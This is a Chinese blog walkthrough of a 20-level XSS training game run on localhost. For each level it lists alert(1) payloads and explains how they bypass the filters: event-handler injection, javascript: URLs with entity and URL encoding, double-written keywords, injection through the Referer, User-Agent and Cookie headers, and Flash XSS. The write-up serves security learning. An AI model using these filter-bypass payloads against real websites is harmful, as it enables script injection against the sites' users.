zoukankan      html  css  js  c++  java
  • XSS小游戏通关笔记

    0x00 前言

    从基础开始学习XSS
    根据XSS漏洞出现的位置,我们可以分为以下几类:
    1:HTML标签之间的XSS

    2:属性中的XSS

    3:选择列表中的XSS

    4:HTML事件中的XSS

    5:javascript伪协议触发的XSS

    LEVEL1

    没有过滤任何
    最简单的:

    http://127.0.0.1/xss/level1.php?name=<script>alert(1)</script>
    http://127.0.0.1/xss/level1.php?name=<svg/οnlοad=alert(1)>
    http://127.0.0.1/xss/level1.php?name=<img src=1 οnerrοr=alert(1)>
    http://127.0.0.1/xss/level1.php?name=<a href="javascript:alert(1)">test</a>
    http://127.0.0.1/xss/level1.php?name=<p οnclick='alert(1)'>test</p>  #点击触发事件
    http://127.0.0.1/xss/level1.php?name=<p οnmοuseοver='alert(1)'>test</p>  #移动鼠标触发事件
    
    

    LEVEL2

    测试发现进行了实体编码,过滤了<>

    对value进行闭合:

    " autofocus onfocus=alert(1)//
    
    "onmouseover=" prompt(0)x="
    "onfocusin=alert(1) autofocusx="
    " onfocusout=alert(1) autofocus x="
    "onblur=alert(1) autofocusa="
    

    LEVEL3

    闭合符号改成了(’),继续使用LEVEL2中的payload即可(改一下‘)

    LEVEL4

    实体编码,过滤了<>,和上面一样构造一个不包含<>的弹窗事件,注意闭合前面的双引号。

    " onfocusout=alert(1) autofocus x="
    

    LEVEL5

    过滤了<script 和on

    插入javascript协议看看:

    <a href="javascript:alert(1)">Clickme
    

    插入后点击clickme即可

    LEVEL6

    看源码发现和上一关相比,虽然过滤了很多,但是strtolower函数
    既将输入转化为小写

    "><scRiPt>alert(1);</scrIPt>
    

    LEVEL7

    双写绕过

    "><scrscriptipt>alert(1)</scrscriptipt>
    

    LEVEL8

    看到在a标签href属性里面,想到伪协议:

    Javascript:伪协议后面可以使用URL编码。
            如:<a href="javascript:%61lert(1)">click me</a>可成功执行弹窗。
            可用img就不行:<img src=1 onerror="javascript:%61lert(1)">
            因为href属性会跳转到其中的URL,而会进行URL解码,onerror属性只会执行JS,不跳转同时后面的url编码可以再做一次entity(HTML实体)编码:
            <a href="javascript:%61lert(1)">click me</a>
    

    由于script关键字被过滤,javascript会被替换成javasc_rpt,
    我们使用&#x72来代替r ,HTML字符实体转换:https://www.qqxiuzi.cn/bianma/zifushiti.php
    伪协议后面可以使用URL编码等进行编码。构造payload:

    javascrip&#x74;:alert(1)
    javascript:%61lert(1)
    javasc&#x72;ipt:alert`1`
    javasc&#x0072;ipt:alert`1`
    

    LEVEL9

    看源码吧,这题

    java&#x73;cript:alert('http://')
    javascri&#x70;t:alert(1)/*http://www.baidu.com*/
    

    LEVEL10

    分析代码,发现需要两个参数,一个是keyword,一个是t_sort,尖括号<>都被转换成空,还有三个hidden的隐藏输入框,
    或许我们可以从隐藏的输入框下手,构造payload:

    keyword = test&t_sort="type="text" onclick = "alert(1)
    keyword = test&t_sort="type="text" onmouseover="alert(1)
    keyword = test&t_sort="type="text" onmouseover=alert`1`
    

    这里我们需要改一下属性
    这样的话:

    <input name="t_sort" value=" " type="text" onclick = "alert(1)" type="hidden">
    

    构成一个js的点击弹窗事件

    LEVEL11

    可以看到
    多了一个

    str11=_SERVER['HTTP_REFERER'。
    

    两个参数,一个是keyword,一个是t_sort都进行了实体编码过滤,但是HTTP_REFERER'只是简单过滤了<>,所以这里头部可以注入

    构造http头部Referer的payload:

    Referer: " onmouseover=alert(1) type="text"
    
    Referer: " onclick="alert(1) type="text"
    

    LEVEL12

    看源码

    换成了 str11=str11=_SERVER['HTTP_USER_AGENT'];  应该是User-Agent的http头部注入,burp抓包,构造http头部User-Agent的payload:

    User-Agent: " onmouseover=alert(1) type="text"
    
    User-Agent: " onclick="alert(1) type="text"
    

    LEVEL13

    和前面2题一样,改cookie

    Cookie: user=" onmouseover=alert(1) type="text"
    
    Cookie: user=" onclick="alert(1) type="text"
    

    LEVEL14

    这关啥也没有,看源代码都没有输入点,上网看了一下是题目坏了。。以下抄的网上的:

    payload:
    查看源码通过iframe标签引入了一个http://www.exifviewer.org, 结合乌云爆出的漏洞,上传一个含有xss代码的图片触发xss

    exif xss

    LEVEL15

    这一关考的angular js的知识,稍微百度一下相关知识,发现ng-include有包含文件的意思,也就相当于php里面的include

    发现可以包含第一关的页面,构造payload:

    src='level1.php?name=<img src=x onerror=alert(1)>'
    

    前面包含,后面的解释一下:
    img标签首先回去寻找一个叫x的图片,找不到报错就执行后面的。
    应该就是这样的。。但是没有复现成。。

    LEVEL16

    看源码发现
    script ,  / ,   ,等都被转换成&nbsp,我们可以用%0d,%0a等绕过

    LEVEL17

    看源码发现进行了实体编码,但是没有过滤on关键字
    和第三关就一样了,使用on事件
    前后2个都可以传参,选一个:

    arg01=123&arg02= onmouseover=alert(1)
    
    arg01=123&arg02=%20onmousedown=alert`1`
    
    arg01=123&arg02=  onmouseover=alert(1) type="text"
    

    LEVEL18

    和上一关一样使用on事件触发

    LEVEL19

    本题跟Flash XSS有关,需要对源码进行分析
    参考:

    https://www.jianshu.com/p/4e3a517bc4ea

    flash xss,需要对flash的反编译对源码进行分析
    首先定位getURL函数

    然后追踪到sIFR的内容

    得知version参数可以传入loc4变量中,即sIFR的内容中,但是getURL只在内容为link时打开,所以分析contentIsLink函数

    所以我们可以构造 标签来传值

    
    http://localhost/xss_test/level19.php?arg01=version&arg02=<a href="javascript:alert(1)">123</a>
    

    LEVEL20

    本题也属于Flash XSS,将xsf04.swf文件分析得知分析得知是zeroclipboard.swf

    http://localhost/xss_test/level20.php?arg01=id&arg02=\%22))}catch(e){}if(!self.a)self.a=!alert(1)//%26width%26height
    

    研究了一下网上的文章,天下博客一大抄啊。。
    这里解释一下:
    我的理解:我们使这句报错,catch处理异常,使得后面的alert执行。
    这里我本地并不能弹窗,可能是我浏览器flass设置问题吧,bp验证没问题:

    详情看文章:

    https://www.freebuf.com/sectool/108568.html

    参考:

    https://www.jianshu.com/p/4e3a517bc4ea

  • 相关阅读:
    C#连接各种数据库的方法
    C#中MDI窗体的一些设置
    Winform子窗体刷新父窗体
    MDI窗体应用程序
    C# 窗体间传值方法大汇总
    mdi父窗体如何向子窗体发送数据
    DataGridView 清空原数据
    js call回调的this指向问题
    sass进阶 @if @else if @else @for循环
    sass的加减乘除
  • 原文地址:https://www.cnblogs.com/wangtanzhi/p/12602215.html
Copyright © 2011-2022 走看看